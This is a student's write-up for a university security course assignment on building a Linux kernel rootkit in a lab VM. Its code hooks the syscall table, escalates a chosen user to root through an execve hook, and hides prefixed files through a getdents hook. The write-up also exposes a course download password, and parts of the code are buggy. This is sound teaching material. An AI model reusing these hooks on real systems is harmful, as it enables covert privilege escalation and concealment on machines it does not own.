

COMP 4108A

Assignment 2

Due October 8<sup>th</sup> 2024

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1.  
wget --user comp4108 --password  
z48QVUanF2wYV49A <https://www.cisl.carleton.ca/~hpatel/comp4108/private/code/a2/a2.tar.gz>

2.  
sudo bash

3.

```
fffffffa3e013c0 R sys_call_table
```

4.

```
unsigned long * get_syscall_table_bf(void){  
    unsigned long *syscall_table;  
    syscall_table = (unsigned long*)kallsyms_lookup_name("fffffffa3e013c0");  
    return syscall_table;  
}
```

that didn't work so I used this instead as the TA instructed

```
unsigned long * get_syscall_table_bf(void){  
    unsigned long *syscall_table;  
    syscall_table = (unsigned long*)kallsyms_lookup_name("sys_call_table");  
    return syscall_table;  
}
```

5.

```
student@COMP4108-a2:~/a2$ make  
make -C /lib/modules/5.4.0-171-generic/build M=/home/student/a2 modules  
make[1]: Entering directory '/usr/src/linux-headers-5.4.0-171-generic'  
CC [M] /home/student/a2/rootkit.o  
/home/student/a2/rootkit.c:74:14: warning: 'magic_prefix' defined but not used [-Wunused-variable]  
74 | static char* magic_prefix;  
    |               ^~~~~~  
/home/student/a2/rootkit.c:62:12: warning: 'root_uid' defined but not used [-Wunused-variable]  
62 | static int root_uid;  
    |           ^~~~~~  
/bin/sh: 1: cannot create /home/student/a2/.rootkit.o.cmd: Permission denied  
make[2]: *** [scripts/Makefile.build:270: /home/student/a2/rootkit.o] Error 2  
make[2]: *** Deleting file '/home/student/a2/rootkit.o'  
make[1]: *** [Makefile:1778: /home/student/a2] Error 2  
make[1]: Leaving directory '/usr/src/linux-headers-5.4.0-171-generic'  
make: *** [Makefile:6: all] Error 2  
student@COMP4108-a2:~/a2$
```

6.

```
root@COMP4108-a2:/home/student/a2# ./insert.sh  
root@COMP4108-a2:/home/student/a2#
```

```
root@COMP4108-a2:/home/student/a2# lsmod  
Module                Size  Used by  
rootkit                16384  0
```

7.

```
root@COMP4108-a2:/home/student/a2# ./eject.sh
root@COMP4108-a2:/home/student/a2# lsmod | grep "rootkit"
```

8.

```
169 /*
170 * TODO: NEEDED FOR PART A, B, AND C
171 * Uncomment the following lines as needed to store the original functions
172 * before they are hooked. You will need to add lines for the execve and
173 * getdents functions.
174 */
175
176 // Let's store the original functions so they can be restored later
177 original_openat = (t_syscall)__sys_call_table[_NR_openat];
178
179 /*
180 * TODO: NEEDED FOR PART A
181 * Unprotect the memory by calling the appropriate function
182 */
183 unprotect_memory();
184
185 /*
186 * TODO: NEEDED FOR PART A
187 * Uncomment after completing the unprotect and protect TODO's
188 */
189
190 // Let's hook openat() for an example of how to use the framework
191 __sys_call_table[_NR_openat] = (unsigned long) new_openat;
192
193 /*
194 * TODO: NEEDED FOR PARTS B AND C
195 * Hook your new execve and getdents functions after writing them
196 */
197
198 // Let's hook execve() for privilege escalation
199 // Let's hook getdents() to hide our files
200
201 /*
202 * TODO: NEEDED FOR PART A
203 * Protect the memory by calling the appropriate function
204 */
205
206 protect_memory();
207 printk(KERN_INFO "Rootkit module is loaded!\n");
208 return 0; // For successful load
209 }
210
211 static void __exit cleanup_rootkit(void){
212     printk(KERN_INFO "Rootkit module is unloaded!\n");
213
214     /*
215     * TODO: NEEDED FOR PART A
216     * Unprotect the memory by calling the appropriate function
217     */
218     unprotect_memory();
219 }
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```

```
student@COMP4108-a2:~/a2$ sudo tail -f /var/log/syslog
[sudo] password for student:
Sorry, try again.
[sudo] password for student:
Sep 27 12:24:32 COMP4108-a2 kernel: [ 5648.215361] Rootkit module is loaded!
Sep 27 12:24:36 COMP4108-a2 kernel: [ 5651.882369] Rootkit module is unloaded!
Sep 27 12:24:36 COMP4108-a2 kernel: [ 5651.882372] Rootkit module cleanup complete.
Sep 27 12:30:01 COMP4108-a2 CRON[4710]: (root) CMD ([ -x /etc/init.d/anacron ] && if [ ! -d
/run/systemd/system ]; then /usr/sbin/invoke-rc.d anacron start >/dev/null; fi)
Sep 27 12:30:19 COMP4108-a2 systemd[1]: Started Run anacron jobs.
Sep 27 12:30:19 COMP4108-a2 anacron[4711]: Anacron 2.3 started on 2024-09-27
Sep 27 12:30:19 COMP4108-a2 anacron[4711]: Normal exit (0 jobs run)
Sep 27 12:30:19 COMP4108-a2 systemd[1]: anacron.service: Succeeded.
Sep 27 12:38:05 COMP4108-a2 kernel: [ 6460.626933] Rootkit module initializing.
Sep 27 12:38:05 COMP4108-a2 kernel: [ 6460.641677] Rootkit module is loaded!
```

9.

Least privilege, and Evidence production both help in mitigating rootkits.

Least privilege helps since it means that anyone who doesn't need access to root privileges doesn't have it. If any user could edit the kernel without worrying about getting proper permissions rootkits would be incredibly easy to install as they wouldn't require a previous exploit in order to gain root privilege.

Evidence production applies to mitigating the risk of rootkits since inserting and removing kernel modules creates logs which an administrator could see and realize something is wrong, additionally all loaded kernel modules appear when an admin runs a command like lsmod so the evidence production of the system means its hard for the rootkit to hide as it is very visible to an admin. However this doesn't prevent hide in plain sight issues.

## Part B

1. As you can see below and in the file I saved the original function of `execve` to `original_execve` then replaced it with the function `new_execve` which essentially just gets the `uid`, and `filename` then prints them to the kernel log and exits. I need to do the `kmalloc` and `strncpy` stuff since I am pulling the file name (string) from user space into kernel space so I needed to allocate memory in kernel space and copy the string into kernel memory so my function could access it. That code is mostly copied and edited from the `new_openat()` function.

```
83
84 // new_execve function
85 asmlinkage int new_execve(const struct pt_regs* regs) {
86     long ret;
87     char* filename;
88     kuid_t kuid = current_uid();
89     // Get the filename the syscall was called for
90     filename = kmalloc(4096, GFP_KERNEL); // allocate kernel memory
91
92     // copy the filename into the kernel variable
93     if (strncpy_from_user(filename, (void*) regs->di, 4096) < 0){
94         kfree(filename);
95         return 0;
96     }
97
98     printk(KERN_INFO "Executing %s\n", filename);
99     printk(KERN_INFO "Effective UID %d\n", kuid.val);
100    kfree(filename);
101    ret = original_execve(regs);
102    return ret;
103 }
104
```

```
student@COMP4108-a2:~/a2$ sudo ./insert.sh
student@COMP4108-a2:~/a2$ sudo dmesg | tail
[ 477.004452] Rootkit module is unloaded!
[ 477.004475] Rootkit module cleanup complete.
[ 480.467010] Rootkit module initializing.
[ 480.480244] Rootkit module is loaded!
[ 485.453823] Executing /usr/bin/sudo
[ 485.453827] Effective UID 1001
[ 485.453904] Executing /usr/bin/tail
[ 485.453908] Effective UID 1001
[ 485.467214] Executing /bin/dmesg
[ 485.467216] Effective UID 0
```

2. This required only a minor change to the new\_execve() function and the insert.sh script. In the script I just added a new root\_uid variable and passed it in just as the suffix variable was, except this time I passed in uid 1001 which is the uid of the student user. Then in the new\_execve() function I added an if statement after the strncpy if statement to check if the euid of the user was equal to root\_id and if it was use the functions recommended in the hint on the assignment, commit\_creds() to give the user the passed in credentials and prepare\_kernel\_cred() passing in NULL to stage the permissions we want to give the student user, we pass in NULL since that is the euid of the root user (0).

```
student@COMP4108-a2:~/a2$ make clean
make -C /lib/modules/5.4.0-171-generic/build M=/home/student/a2 clean
make[1]: Entering directory '/usr/src/linux-headers-5.4.0-171-generic'
CLEAN /home/student/a2/Module.symvers
make[1]: Leaving directory '/usr/src/linux-headers-5.4.0-171-generic'
student@COMP4108-a2:~/a2$ make
make -C /lib/modules/5.4.0-171-generic/build M=/home/student/a2 modules
make[1]: Entering directory '/usr/src/linux-headers-5.4.0-171-generic'
CC [M] /home/student/a2/rootkit.o
/home/student/a2/rootkit.c:82:14: warning: 'magic_prefix' defined but not used [-Wunused-variable]
   82 | static char* magic_prefix;
      |                ^~~~~~
Building modules, stage 2.
MODPOST 1 modules
CC [M] /home/student/a2/rootkit.mod.o
LD [M] /home/student/a2/rootkit.ko
make[1]: Leaving directory '/usr/src/linux-headers-5.4.0-171-generic'
student@COMP4108-a2:~/a2$ whoami
student
student@COMP4108-a2:~/a2$ whoami
root
student@COMP4108-a2:~/a2$
```

```
student@COMP4108-a2:~/a2$ sudo bash
[sudo] password for student:
root@COMP4108-a2:/home/student/a2# ./insert.sh
root@COMP4108-a2:/home/student/a2#
```

```
if (euid.val == root_uid) {
    commit_creds(prepare_kernel_cred(NULL));
}
```

```
#!/bin/bash

# Specify the extension suffix for the openat hook code
SUFFIX=.txt
#root_id
root_uid=1001

#Insert the rootkit module, providing some parameters
insmod rootkit.ko suffix=$SUFFIX root_uid=$root_uid
```

## Part C

1. used this as a reference [https://xcellerator.github.io/posts/linux\\_rootkits\\_06/](https://xcellerator.github.io/posts/linux_rootkits_06/)

In this function I am using the variable curr as the current directory entry we are working on. UsrcDirent contains the source buffer getdent64 would use to determine its output, then we malloc kernel space memory for kernDirent and copy over that buffer info into kernel space memory so we can operate on it. After that we loop over every dirent using modified code from the getdirent64 man page adding a printk to the loop so we see the output we want. And finally we free the kernDirent memory and return ret.

```

[ 298.371347] entry:rootkit.o
[ 298.371350] entry:.rootkit.mod.o.cmd
[ 298.371352] entry:..
[ 298.371355] entry:insert.sh
[ 298.371357] entry:rootkit.c
[ 298.371360] entry:rootkit.mod.c
[ 298.371362] entry:rootkit-A.c
[ 298.371365] entry:.rootkit.c.swp
[ 298.371367] entry:rootkit-C.c
[ 298.371369] entry:rootkit.ko
[ 298.371372] entry:.rootkit.ko.cmd
[ 298.371374] entry:rootkit-B.c
[ 298.371377] entry:Makefile
[ 298.371379] entry:modules.order
[ 298.371382] entry:rootkit.mod.o
[ 298.371385] entry:.rootkit.o.cmd
[ 298.371388] entry:eject.sh
[ 298.371391] entry:..
[ 298.371394] entry:.rootkit.mod.cmd
[ 298.371397] entry:Module.symvers
[ 298.371400] entry:rootkit.mod

// new_getdents
asmlinkage int new_getdents(const struct pt_regs* regs) {
    long ret = original_getdents(regs);
    struct linux_dirent *curr;
    int bpos;
    struct linux_dirent *usrDirent;
    struct linux_dirent *kernDirent;
    usrDirent = (struct linux_dirent*)regs->si;

    kernDirent = kmalloc(ret, GFP_KERNEL);

    // modified code from new_execve()
    if (copy_from_user(kernDirent, usrDirent, ret) < 0) {
        kfree(kernDirent);
        return ret;
    }

    // modified code from the manpage for getdents64
    for (bpos = 0; bpos < ret;) {
        curr = (void*) kernDirent + bpos;
        printk(KERN_INFO "entry: %s\n", curr->d_name);
        bpos += curr->d_reclen;
    }

    kfree(kernDirent);
    return ret;
}

```

2.

To implement this feature I added an if statement checking if the beginning of d\_name matches the magic\_prefix which is set in the insert.sh file. To avoid a buffer overflow error I am only comparing the min of the length of the magic prefix or the length of the d\_name this is so we don't compare \$sys\$ to say . Which could cause an error. Then if we enter the if statement I added a few variables to help explain what is happening within the if I made a variable called nextRecord to save the pointer to the next dirent which we want to put on top of the hidden dirent, and reclen to save the record length. After that we need to preform the memmove to move the rest of the future dirent records forward on top of curr. And finally we subtract reclen from ret to keep the length correct and use continue to avoid having the system iterate over the next entry prematurely.

```

CLEAN /home/student/a2/Module.symvers
make[1]: Leaving directory '/usr/src/linux-headers-5.4.0-171-generic'
student@COMP4108-a2:~/a2$ make
make -C /lib/modules/5.4.0-171-generic/build M=/home/student/a2 modules
make[1]: Entering directory '/usr/src/linux-headers-5.4.0-171-generic'
CC [M] /home/student/a2/rootkit.o
Building modules, stage 2.
MODPOST 1 modules
CC [M] /home/student/a2/rootkit.mod.o
LD [M] /home/student/a2/rootkit.ko
make[1]: Leaving directory '/usr/src/linux-headers-5.4.0-171-generic'
student@COMP4108-a2:~/a2$ ls -a
.
..
modules.order      .rootkit.c.swp      rootkit.mod.o
Module.symvers     rootkit.ko          .rootkit.mod.o.cmd
'$sys$ _lol_hidden.txt' rootkit-A.c         .rootkit.ko.cmd     rootkit.o
eject.sh            rootkit-B.c         rootkit.mod          .rootkit.o.cmd
insert.sh           rootkit.c           rootkit.mod.c        .txt
Makefile            rootkit-C.c         .rootkit.mod.cmd
student@COMP4108-a2:~/a2$ ls -a
.
..
modules.order      rootkit-C.c         rootkit.mod.c        .rootkit.o.cmd
Module.symvers     .rootkit.c.swp     .rootkit.mod.cmd     .txt
eject.sh           rootkit-A.c         rootkit.ko           rootkit.mod.o
insert.sh          rootkit-B.c         .rootkit.ko.cmd     .rootkit.mod.o.cmd
Makefile           rootkit.c           rootkit.mod          rootkit.o
student@COMP4108-a2:~/a2$

```

```

root@COMP4108-a2:/home/student/a2# ./insert.sh
root@COMP4108-a2:/home/student/a2#

```

```

// new_getdents
asmLinkage int new_getdents(const struct pt_regs* regs) {
    long ret = original_getdents(regs);
    struct linux_dirent *curr;
    int bpos;
    struct linux_dirent *usrDirent;
    struct linux_dirent *kernDirent;
    usrDirent = (struct linux_dirent*)regs->si;

    if (magic_prefix == NULL) return 0;

    kernDirent = kmalloc(ret, GFP_KERNEL);

    // modified code from new_execve()
    if (copy_from_user(kernDirent, usrDirent, ret) < 0) {
        kfree(kernDirent);
        return ret;
    }

    // modified code from the manpage for getdents64
    for (bpos = 0; bpos < ret; ) {
        curr = (void*) kernDirent + bpos;
        //compare curr->d_name to magic_prefix
        if (curr->d_name == NULL) break;
        if (strncmp(curr->d_name+1, magic_prefix, min(strlen(magic_prefix), strlen(
curr->d_name))) == 0) { // comparing to d_name+1 since the 0th char is 0x08 ie backspace (not
sure why)
            //if it matches the beginning then go into if
            //remove it from ret somehow
            long nextRecord = bpos + curr->d_reclen;
            unsigned short reclen = curr->d_reclen;
            memmove(curr, (void*) kernDirent+nextRecord, ret-nextRecord);
            ret -= reclen;
            continue; // since new record is in same spot don't iterate bpos
        }
        //printf(KERN_INFO "entry: %s\n", curr->d_name);
        bpos += curr->d_reclen;
    }
    if (copy_to_user(usrDirent, kernDirent, ret) < 0) {
        kfree(kernDirent);
        return ret;
    }
    kfree(kernDirent);
    return ret;
}

```

```

1 #!/bin/bash
2
3 # Specify the extension suffix for the openat hook code
4 SUFFIX=.txt
5 #root_id
6 root_uid=1001
7 #prefix
8 magic_prefix=${sys}$
9
10 #Insert the rootkit module, providing some parameters
11 insmod rootkit.ko suffix=$SUFFIX root_uid=$root_uid magic_prefix=$magic_prefix

```